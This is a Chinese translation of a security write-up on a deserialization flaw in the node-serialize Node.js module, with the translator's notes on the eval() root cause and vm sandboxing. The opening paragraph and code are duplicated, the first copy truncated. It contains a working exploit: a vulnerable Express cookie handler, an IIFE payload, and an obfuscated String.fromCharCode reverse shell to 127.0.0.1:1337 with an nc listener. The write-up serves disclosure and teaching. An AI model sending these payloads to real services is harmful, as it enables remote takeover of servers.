原文链接:[Exploiting Node.js deserialization bug for Remote Code Execution](https://www.exploit-db.com/docs/41289.pdf) 有增改 原作者:**Ajin Abraham** 译:**Holic (知道创宇404安全实验室)** ### tl;dr 若不可信的数据传入 `unserialize()` 函数,通过传递立即调用函数表达式(IIFE)的 JavaScript 对象可以实现任意代码执行。 ### 漏洞详情 审计 Node.js 代码时,我正好看到一个名为 node-serialize 的序列号/反序列化模块。下面是一段代码示例,来自网络请求的 cookie 会传递到该模块的 unserialize() 函数中。 ```javascript var express = require('express'); var cookieParser = require('cookie-parser'); var escape = require('escape-html'); var serialize = require('node-serialize'); var app = express(); app.use(cookieParser()) app.get('/', function(req, res) { if (req.cookies.profile) { var str = new Buffer(req.cookies.profile, 'base64').toString(); var obj = serialize.unserialize(str); if (obj.username) { res.send("Hello " + escape(obj.username)); } } else { res.cookie('profile', "eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0=", { maxAge: 900000, httpOnly: true }); } res.send("Hello World"); });...
原文链接:[Exploiting Node.js deserialization bug for Remote Code Execution](https://www.exploit-db.com/docs/41289.pdf) 有增改 原作者:**Ajin Abraham** 译:**Holic (知道创宇404安全实验室)** ### tl;dr 若不可信的数据传入 `unserialize()` 函数,通过传递立即调用函数表达式(IIFE)的 JavaScript 对象可以实现任意代码执行。 ### 漏洞详情 审计 Node.js 代码时,我正好看到一个名为 node-serialize 的序列号/反序列化模块。下面是一段代码示例,来自网络请求的 cookie 会传递到该模块的 unserialize() 函数中。 ```javascript var express = require('express'); var cookieParser = require('cookie-parser'); var escape = require('escape-html'); var serialize = require('node-serialize'); var app = express(); app.use(cookieParser()) app.get('/', function(req, res) { if (req.cookies.profile) { var str = new Buffer(req.cookies.profile, 'base64').toString(); var obj = serialize.unserialize(str); if (obj.username) { res.send("Hello " + escape(obj.username)); } } else { res.cookie('profile', "eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0=", { maxAge: 900000, httpOnly: true }); } res.send("Hello World"); }); app.listen(3000); ``` Java,PHP,Ruby 和 Python 都出现过很多次反序列化的漏洞。下面是这些问题的相关资源: * [Understanding PHP Object Injection ](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/) * [Java Deserialization Cheat Sheet ](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet) * [Rails Remote Code Execution Vulnerability Explained ](http://blog.codeclimate.com/blog/2013/01/10/rails-remote-code-execution-vulnerability-explained/) * [Arbitrary code execution with Python pickles](https://www.cs.uic.edu/~s/musings/pickle/) 但是我找不到任何关于 Node.js 中反序列号/对象注入的资源,于是我就想对此进行研究,然后我花了点儿时间成功利用此 bug,实现了任意代码注入。 ### 构建 Payload 我使用了 0.0.4 版本的 node-serialize 进行研究,成功利用的话,不可信输入传递到 `unserialize()` 的时候可以执行任意代码。创建 payload 最好使用同一模块的 `serialize()` 函数。 我创建了以下 JavaScript 对象,将其传入 `serialize()` 函数。 ```javascript var y = { rce : function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }, } var serialize = require('node-serialize'); console.log("Serialized: \n" + serialize.serialize(y)); ``` 我们得到以下输出:  现在我们得到序列化的字符串,可以用 `unserialize()` 函数进行反序列化操作。那么问题来了,怎么代码执行呢?只有触发对象的 rce 成员函数才行。 后来我想到可以使用 JavaScript 的立即调用的函数表达式(IIFE)来调用该函数。如果我们在函数后使用 IIFE 括号 `()` ,在对象被创建时,函数就会马上被调用。有点类似于 C 中的类构造函数。 现在修改过的代码经 `serialize()` 函数马上会被调用。  IIFE 运行良好,但序列化失败了。于是我试着在之前序列化的字符串中函数体后面加上括号 `()`,并将其传入 `unserialize()` 函数,很幸运,成功执行。那么就有了下面的 exploit: ```json {"rce":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\n }()"} ``` 将其传入 `unserialize()` 函数,触发代码执行。 ```javascript var serialize = require('node-serialize'); var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}'; serialize.unserialize(payload); ```  ### 进一步利用 现在我们知道了,如果不受信任的数据传入其中,我们利用 node-serialize 模块中的 `unserialize()` 函数。我们来利用 Web 程序中的漏洞反弹一个 shell 出来吧。 这里我使用 [nodejsshell.py](https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py) 生成反向 shell 的 payload。 ```bash $ python nodejsshell.py 127.0.0.1 1337 [+] LHOST = 127.0.0.1 [+] LPORT = 1337 [+] Encoding eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,50,55,46,48,46,48,46,49,34,59,10,80,79,82,84,61,34,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10)) ``` 现在我们生成反序列化的 payload,并在函数后面添加 IIFE 括号 `()`。 ```json {"rce":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,50,55,46,48,46,48,46,49,34,59,10,80,79,82,84,61,34,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"} ``` 我们同样要进行 Base64 编码,然后在 Cookie 头中加入 Payload,向服务器发送请求。  然后开端口监听 shell 即可。 ```bash nc -l 127.0.0.1 1337 ```  然后我们就有了一个反弹 shell! **原作者提供的演示视频:**https://youtu.be/GFacPoWOcw0 ### 总结 我们利用了反序列化的漏洞,配合不受信任的用户输入实现任意代码执行。经验就是不要信任用户输入。而该漏洞的根本原因就是它在反序列化内部使用了 `eval()` 。我在另一个名为 `serialize-to-js` 的模块中也发现了类似的漏洞。在该模块中,Node.js 中的 `require()` 函数在使用 IIFE 反序列化对象的过程中没有作用域,并且在它内部使用了 `new Function()` 进行序列号。我们仍可以使用略复杂的 payload 来实现代码执行。 --- ### 补充内容(译者注): 上面是翻译内容,关于本漏洞,我说几点。 **立即调用的函数表达式(IIFE)** > 在Javascript中,一对圆括号()是一种运算符,跟在函数名之后,表示调用该函数。比如,`print()`就表示调用print函数。 > 有时,我们需要在定义函数之后,立即调用该函数。这时,你不能在函数的定义之后加上圆括号,这会产生语法错误。 > 产生这个错误的原因是,function这个关键字即可以当作语句,也可以当作表达式。 为了避免歧义,规定 function 关键字出现在行首时,解释为语句。 因此 IIFE 一般写成下面的形式: ```javascript (function(){ /* code */ }()); // 或者 (function(){ /* code */ })(); ``` 而漏洞代码位于 serialize.js 75 行附近:  主要是 `eval` 这一句: ```javascript eval('(' + obj[key].substring(FUNCFLAG.length) + ')') ``` 而代码执行恰好就是 eval 中的这俩括号构成 IIFE。 通过 GitHub 搜索,可以看到该模块被不少项目使用:  如果不信任的输入能够进入 `unserialize()` 函数,就很有可能存在此漏洞风险。无脑 npm install 固然方便,但模块安全性并不可知,这也是 npm 带来方便的同时,可能存在的风险吧。 还有一点是 `eval()` 函数。这算是一危险函数,一般涉及到用户交互数据的代码,不建议开发者使用此函数,因为未受信任的数据很可能通过它进入到代码上下文当中,带来很大的潜在风险。 如果场景需要涉及到执行数据,可以使用 Node.js 的 `vm` 隔离出上下文。参考[示例代码](https://millermedeiros.github.io/mdoc/examples/node_api/doc/vm.html),可以使用 `script.runInNewContext([sandbox])` 等接口,自定义 sandbox 作为全局对象运行脚本代码,并返回结果,这样全局变量会受到沙箱限制。 比如另一个序列化模块 [funcster](https://github.com/jeffomatic/funcster) 这么写,使反序列化的函数运行于新的沙箱之中。 